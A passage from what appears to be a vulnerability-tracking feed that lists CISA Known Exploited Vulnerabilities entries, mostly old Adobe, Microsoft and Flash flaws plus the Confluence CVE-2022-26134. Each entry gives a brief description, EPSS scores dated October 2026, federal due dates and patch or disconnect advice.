https://api.first.org/data/v1/epss?cve=CVE-2011-2462&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Unspecified Vulnerability https://kevwire.com/record/CVE-2011-0609 Adobe Flash Player Unspecified Vulnerability (Jun 8, 2022). Adobe Flash Player contains an unspecified vulnerability that allows remote attackers to execute code or cause denial-of-service (DoS). EPSS 63.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-0609&date=2026-10-25). Sources: CISA KEV entry CVE-2011-0609: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-0609&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Acrobat and Reader Stack-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2010-2883 Adobe Acrobat and Reader Stack-Based Buffer Overflow Vulnerability (Jun 8, 2022). Adobe Acrobat and Reader contain a stack-based buffer overflow vulnerability that allows remote attackers to execute code or cause denial-of-service (DoS). EPSS 81.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-2883&date=2026-10-25). Sources: CISA KEV entry CVE-2010-2883: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-2883&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft PowerPoint Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2010-2572 Microsoft PowerPoint Buffer Overflow Vulnerability (Jun 8, 2022). Microsoft PowerPoint contains a buffer overflow vulnerability that alllows for remote code execution. EPSS 58.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-2572&date=2026-10-25). Sources: CISA KEV entry CVE-2010-2572: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-2572&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Memory Corruption Vulnerability https://kevwire.com/record/CVE-2010-1297 Adobe Flash Player Memory Corruption Vulnerability (Jun 8, 2022). Adobe Flash Player contains a memory corruption vulnerability that allows remote attackers to execute code or cause denial-of-service (DoS). EPSS 82.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-1297&date=2026-10-25). Sources: CISA KEV entry CVE-2010-1297: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-1297&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Acrobat and Reader Use-After-Free Vulnerability https://kevwire.com/record/CVE-2009-4324 Adobe Acrobat and Reader Use-After-Free Vulnerability (Jun 8, 2022). Use-after-free vulnerability in Adobe Acrobat and Reader allows remote attackers to execute code via a crafted PDF file. EPSS 81.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-4324&date=2026-10-25). Sources: CISA KEV entry CVE-2009-4324: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-4324&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Acrobat and Reader Universal 3D Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2009-3953 Adobe Acrobat and Reader Universal 3D Remote Code Execution Vulnerability (Jun 8, 2022). Adobe Acrobat and Reader contains an array boundary issue in Universal 3D (U3D) support that could lead to remote code execution. EPSS 83.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-3953&date=2026-10-25). Sources: CISA KEV entry CVE-2009-3953: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-3953&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Acrobat and Reader, Flash Player Unspecified Vulnerability https://kevwire.com/record/CVE-2009-1862 Adobe Acrobat and Reader, Flash Player Unspecified Vulnerability (Jun 8, 2022). Adobe Acrobat and Reader and Adobe Flash Player allows remote attackers to execute code or cause denial-of-service (DoS). EPSS 21.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-1862&date=2026-10-25). Sources: CISA KEV entry CVE-2009-1862: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-1862&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: For Adobe Acrobat and Reader, apply updates per vendor instructions. For Adobe Flash Player, the impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2009-0563 Microsoft Office Buffer Overflow Vulnerability (Jun 8, 2022). Microsoft Office contains a buffer overflow vulnerability that allows remote attackers to execute code via a Word document with a crafted tag containing an invalid length field. EPSS 59.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-0563&date=2026-10-25). Sources: CISA KEV entry CVE-2009-0563: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-0563&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Object Record Corruption Vulnerability https://kevwire.com/record/CVE-2009-0557 Microsoft Office Object Record Corruption Vulnerability (Jun 8, 2022). Microsoft Office contains an object record corruption vulnerability that allows remote attackers to execute code via a crafted Excel file with a malformed record object. EPSS 52.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-0557&date=2026-10-25). Sources: CISA KEV entry CVE-2009-0557: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-0557&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Acrobat and Reader Unspecified Vulnerability https://kevwire.com/record/CVE-2008-0655 Adobe Acrobat and Reader Unspecified Vulnerability (Jun 8, 2022). Adobe Acrobat and Reader contains an unespecified vulnerability described as a design flaw which could allow a specially crafted file to be printed silently an arbitrary number of times. EPSS 37.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2008-0655&date=2026-10-25). Sources: CISA KEV entry CVE-2008-0655: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2008-0655&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Acrobat and Reader Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2007-5659 Adobe Acrobat and Reader Buffer Overflow Vulnerability (Jun 8, 2022). Adobe Acrobat and Reader contain a buffer overflow vulnerability that allows remote attackers to execute code via a PDF file with long arguments to unspecified JavaScript methods. EPSS 87.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2007-5659&date=2026-10-25). Sources: CISA KEV entry CVE-2007-5659: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2007-5659&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Word Malformed Object Pointer Vulnerability https://kevwire.com/record/CVE-2006-2492 Microsoft Word Malformed Object Pointer Vulnerability (Jun 8, 2022). Microsoft Word and Microsoft Works Suites contain a malformed object pointer which allows attackers to execute code. EPSS 48.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2006-2492&date=2026-10-25). Sources: CISA KEV entry CVE-2006-2492: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2006-2492&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Atlassian Confluence Server and Data Center Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-26134 Atlassian Confluence Server and Data Center Remote Code Execution Vulnerability (Jun 2, 2022). Atlassian Confluence Server and Data Center contain a remote code execution vulnerability that allows for an unauthenticated attacker to perform remote code execution. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26134&date=2026-10-25). Sources: CISA KEV entry CVE-2022-26134: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26134&date=2026-10-25 CISA added this entry on 2022-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Immediately block all internet traffic to and from affected products AND apply the update per vendor instructions [https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html] OR remove the affected products by the due date on the right. Note: Once the update is successfully deployed, agencies can reassess the internet blocking rules. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 2, 2022; federal due date Jun 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Solaris Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2019-3010 Oracle Solaris Privilege Escalation Vulnerability (May 25, 2022). Oracle Solaris component: XScreenSaver contains an unspecified vulnerability that allows for privilege escalation. EPSS 13.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-3010&date=2026-10-25). Sources: CISA KEV entry CVE-2019-3010: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-3010&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Graphics Device Interface (GDI) Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2016-3393 Microsoft Windows Graphics Device Interface (GDI) Remote Code Execution Vulnerability (May 25, 2022). A remote code execution vulnerability exists due to the way the Windows GDI component handles objects in the memory. An attacker who successfully exploits this vulnerability could take control of the affected system. EPSS 68.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3393&date=2026-10-25). Sources: CISA KEV entry CVE-2016-3393: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3393&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Open Type Font Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2016-7256 Microsoft Windows Open Type Font Remote Code Execution Vulnerability (May 25, 2022). A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploits this vulnerability could take control of the affected system. EPSS 64.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7256&date=2026-10-25). Sources: CISA KEV entry CVE-2016-7256: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7256&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player and AIR Integer Overflow Vulnerability https://kevwire.com/record/CVE-2016-1010 Adobe Flash Player and AIR Integer Overflow Vulnerability (May 25, 2022). Integer overflow vulnerability in Adobe Flash Player and AIR allows attackers to execute code. EPSS 19.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-1010&date=2026-10-25). Sources: CISA KEV entry CVE-2016-1010: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-1010&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted products are end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player and AIR Use-After-Free Vulnerability https://kevwire.com/record/CVE-2016-0984 Adobe Flash Player and AIR Use-After-Free Vulnerability (May 25, 2022). Use-after-free vulnerability in Adobe Flash Player and Adobe AIR allows attackers to execute code. EPSS 54.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0984&date=2026-10-25). Sources: CISA KEV entry CVE-2016-0984: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0984&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted products are end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Silverlight Runtime Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2016-0034 Microsoft Silverlight Runtime Remote Code Execution Vulnerability (May 25, 2022). Microsoft Silverlight mishandles negative offsets during decoding, which allows attackers to execute remote code or cause a denial-of-service (DoS). EPSS 69.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0034&date=2026-10-25). Sources: CISA KEV entry CVE-2016-0034: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0034&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted products are end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player ASLR Bypass Vulnerability https://kevwire.com/record/CVE-2015-0310 Adobe Flash Player ASLR Bypass Vulnerability (May 25, 2022). Adobe Flash Player does not properly restrict discovery of memory addresses, which allows attackers to bypass the address space layout randomization (ASLR) protection mechanism. EPSS 15.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-0310&date=2026-10-25). Sources: CISA KEV entry CVE-2015-0310: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-0310&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows TS WebProxy Directory Traversal Vulnerability https://kevwire.com/record/CVE-2015-0016 Microsoft Windows TS WebProxy Directory Traversal Vulnerability (May 25, 2022). Directory traversal vulnerability in the TS WebProxy (TSWbPrxy) component in Microsoft Windows allows remote attackers to escalate privileges. EPSS 75.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-0016&date=2026-10-25). Sources: CISA KEV entry CVE-2015-0016: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-0016&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer ASLR Bypass Vulnerability https://kevwire.com/record/CVE-2015-0071 Microsoft Internet Explorer ASLR Bypass Vulnerability (May 25, 2022). Microsoft Internet Explorer allows remote attackers to bypass the address space layout randomization (ASLR) protection mechanism via a crafted web site. EPSS 33.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-0071&date=2026-10-25). Sources: CISA KEV entry CVE-2015-0071: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-0071&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Win32k Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2015-2360 Microsoft Win32k Privilege Escalation Vulnerability (May 25, 2022). Win32k.sys in the kernel-mode drivers in Microsoft Windows allows local users to gain privileges or cause denial-of-service (DoS). EPSS 14.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2360&date=2026-10-25). Sources: CISA KEV entry CVE-2015-2360: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2360&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Memory Corruption Vulnerability https://kevwire.com/record/CVE-2015-2425 Microsoft Internet Explorer Memory Corruption Vulnerability (May 25, 2022). Microsoft Internet Explorer contains a memory corruption vulnerability that allows remote attackers to execute code or cause denial-of-service (DoS). EPSS 44.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2425&date=2026-10-25). Sources: CISA KEV entry CVE-2015-2425: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2425&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Mount Manager Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2015-1769 Microsoft Windows Mount Manager Privilege Escalation Vulnerability (May 25, 2022). A privilege escalation vulnerability exists when the Windows Mount Manager component improperly processes symbolic links. EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1769&date=2026-10-25). Sources: CISA KEV entry CVE-2015-1769: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1769&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mozilla Firefox Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2015-4495 Mozilla Firefox Security Feature Bypass Vulnerability (May 25, 2022). Moxilla Firefox allows remote attackers to bypass the Same Origin Policy to read arbitrary files or gain privileges. EPSS 68.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-4495&date=2026-10-25). Sources: CISA KEV entry CVE-2015-4495: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-4495&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Integer Overflow Vulnerability https://kevwire.com/record/CVE-2015-8651 Adobe Flash Player Integer Overflow Vulnerability (May 25, 2022). Integer overflow in Adobe Flash Player allows attackers to execute code. EPSS 67.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-8651&date=2026-10-25). Sources: CISA KEV entry CVE-2015-8651: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-8651&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: 